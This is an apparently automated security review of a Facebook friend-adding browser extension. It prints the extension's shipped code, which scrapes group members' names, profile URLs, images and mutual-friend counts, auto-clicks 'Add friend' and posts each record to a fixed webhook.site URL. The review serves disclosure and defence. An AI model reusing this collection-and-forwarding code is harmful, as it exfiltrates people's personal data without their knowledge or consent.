Is Friend Maker | Toolkit for Facebook safe?
Friend Maker | Toolkit for Facebook is high risk. When a profile is saved from the Facebook group member or things-in-common workflow, the extension sends it as JSON to a fixed webhook.site URL and saves it in storage, with name, profile URL, mutual-friend text, image URL, and status.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Facebook profile records sent to webhook.site
When a profile is saved from the Facebook group member or things-in-common workflow, the extension sends it as JSON to a fixed webhook.site URL and saves it in storage, with name, profile URL, mutual-friend text, image URL, and status.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-359
- Source
- Dynamic sandbox
You start a workflow that stores Facebook profile records.
The relevant workflows run on Facebook group member pages and things-in-common member pages.
The extension forwards each profile record to webhook.site and then saves it locally.
The POST happens in the background worker before the local storage update finishes.
- Facebook display nameJane Carter (illustrative)
This identifies the Facebook profile being collected.
- Facebook profile URLhttps://www.facebook.com/jane.carter.1987 (illustrative)
This links the record to a specific Facebook account or profile page.
- Mutual-friend context12 mutual friends (illustrative)
This describes social-graph context around the collected profile.
- Profile image URLhttps://scontent-lax3-1.xx.fbcdn.net/v/t39.30808-1/456789123_10234567890123456_6789012345678901234_n.jpg?stp=cp0_dst-jpg_p100x100&_nc_cat=101&ccb=1-7&_nc_sid=5f2048&_nc_ohc=Qm8Zy2mP8N4Q7kNvgGv2q8K&_nc_ht=scontent-lax3-1.xx&oh=00_AfCq8dN7mYv9x3bX2pQ9rM6aL4jT1uS5wE8nR0cPzK2hA&oe=66B1C2D3 (illustrative)
This can connect the profile record to the image shown on Facebook.
- Workflow statusdiscovered
This shows where the profile was in the extension workflow when it was stored.
- Collection time2026-07-13T03:18:24.257Z (illustrative)
This timestamps when the profile record was created or forwarded.
- Record source labelFacebook Profile Collector
This labels the extension workflow that produced the record.
- Content-Type
- application/json
Profile collection, forwarding, and local save path in shipped code
Readable background flow
background.jsasync function sendProfileToWebhook(profile) { console.log('Preparing webhook data:', profile); try { const response = await fetch('https://webhook.site/0e814332-34c6-4819-bc8e-20432dce34cf', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ ...profile, timestamp: new Date().toISOString(), source: 'Facebook Profile Collector' }) }); if (!response.ok) { throw new Error('Webhook failed with status: ' + response.status); } const responseText = await response.text(); console.log('Webhook response:', responseText); return true; } catch (error) { console.error('Webhook error:', error); return false; }}async function storeProfile(profile, sendResponse) { try { await sendProfileToWebhook(profile); const result = await chrome.storage.local.get('profiles'); const profiles = result.profiles || []; const existingIndex = profiles.findIndex((entry) => entry.profileUrl === profile.profileUrl); if (existingIndex >= 0) { profiles[existingIndex] = { ...profiles[existingIndex], ...profile, lastUpdated: new Date().toISOString() }; } else { profiles.push({ ...profile, timestamp: new Date().toISOString(), status: profile.status || 'pending', processed: false }); } await chrome.storage.local.set({ profiles }); sendResponse({ success: true }); } catch (error) { sendResponse({ success: false, error: error.message }); }}Readable group member collection flow
content.jsasync function collectProfileAtIndex(index) { const list = document.querySelectorAll('[role="list"]')[1]; if (!list) return null; const row = list.children[index]; if (!row) return null; try { const firstLink = row.querySelector('a[role="link"]'); const secondLinkText = row.querySelectorAll('a[role="link"]')[1]?.innerText; const profileUrl = firstLink?.href; const imageUrl = row.querySelector('svg image')?.getAttribute('xlink:href'); const mutualFriendsElement = Array.from(row.querySelectorAll('span[dir="auto"]')).find((element) => element.textContent.includes('mutual friends')); const mutualFriends = mutualFriendsElement ? mutualFriendsElement.textContent.trim() : '0 mutual friends'; const addFriendButton = row.querySelector('[aria-label="Add friend"]'); return { name: secondLinkText?.trim(), profileUrl, mutualFriends, imageUrl, timestamp: new Date().toISOString(), status: 'discovered', hasAddFriendButton: Boolean(addFriendButton) }; } catch (error) { console.error('Error collecting profile:', error); return null; }}async function collectAndSendNextProfile() { try { const profile = await collectProfileAtIndex(profileIndex); if (profile) { await chrome.runtime.sendMessage({ action: 'storeProfile', profile }); profileIndex += 1; } } catch (error) { chrome.runtime.sendMessage({ action: 'updateStatus', status: 'error', message: error.message }); }}Readable things-in-common collection flow
things-in-common-content-script.jsasync function processThingsInCommonProfile(row, processedProfiles, config) { row.scrollIntoView({ behavior: 'smooth', block: 'center' }); await sleep(500); const profileLink = row.querySelector('a[role="link"]'); const name = row.querySelectorAll('a[role="link"]')[1]?.innerText || row.querySelector('a[role="link"]')?.innerText || 'Unknown Name'; const profileUrl = profileLink?.href || ''; const imageUrl = row.querySelector('svg image')?.getAttribute('xlink:href') || ''; const mutualFriendsText = Array.from(row.querySelectorAll('span[dir="auto"]')).find((element) => element.textContent.includes('mutual friends'))?.textContent.trim() || '0 mutual friends'; const mutualFriends = parseInt(mutualFriendsText.match(/\\d+/) || [0]); if (processedProfiles.has(profileUrl)) return false; if (!matchesKeywordFilters(row, config.keywordFilters)) return false; if (config.mutualFriendsFilter && !matchesMutualFriendFilter(mutualFriends, config.mutualFriendsFilter)) return false; const profile = { name: name?.trim(), profileUrl, mutualFriends, imageUrl, timestamp: new Date().toISOString(), status: 'pending' }; const buttons = [ ...row.querySelectorAll('[aria-label="Add friend"]'), ...row.querySelectorAll('[aria-label="Add Friend"]'), ...row.querySelectorAll('div[role="button"]') ]; for (const button of buttons) { if (button.getAttribute('aria-label')?.includes('friend') || button.textContent.includes('Add Friend') || button.textContent.includes('Add friend')) { button.click(); processedProfiles.add(profileUrl); await storeProfileLocallyAndSync(profile); await sleep(config.delay); return true; } } return false;}async function storeProfileLocallyAndSync(profile) { const result = await chrome.storage.local.get('profiles'); const profiles = result.profiles || []; profiles.push({ ...profile, timestamp: new Date().toISOString() }); await chrome.storage.local.set({ profiles }); try { await new Promise((resolve) => { chrome.runtime.sendMessage({ action: 'storeProfile', profile }, () => resolve()); }); } catch (error) { console.log('Background sync error handled:', error); } return true;}- webhook.site
Receives JSON profile records from the background service worker at a fixed UUID URL.
What it can do
Permissions this extension asks for, as declared in version 1.4.18. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on facebook.com
https://*.facebook.com/*
Read and change your data on webhook.site
https://webhook.site/*
Read and change your data on app.clickweber.com
https://app.clickweber.com/*
Run its own code inside the pages you visit
scripting
Act on the current tab, but only after you click the extension
activeTab
Store data in your browser
storage
See the address and title of every tab you have open
tabs
Read information about your displays
system.display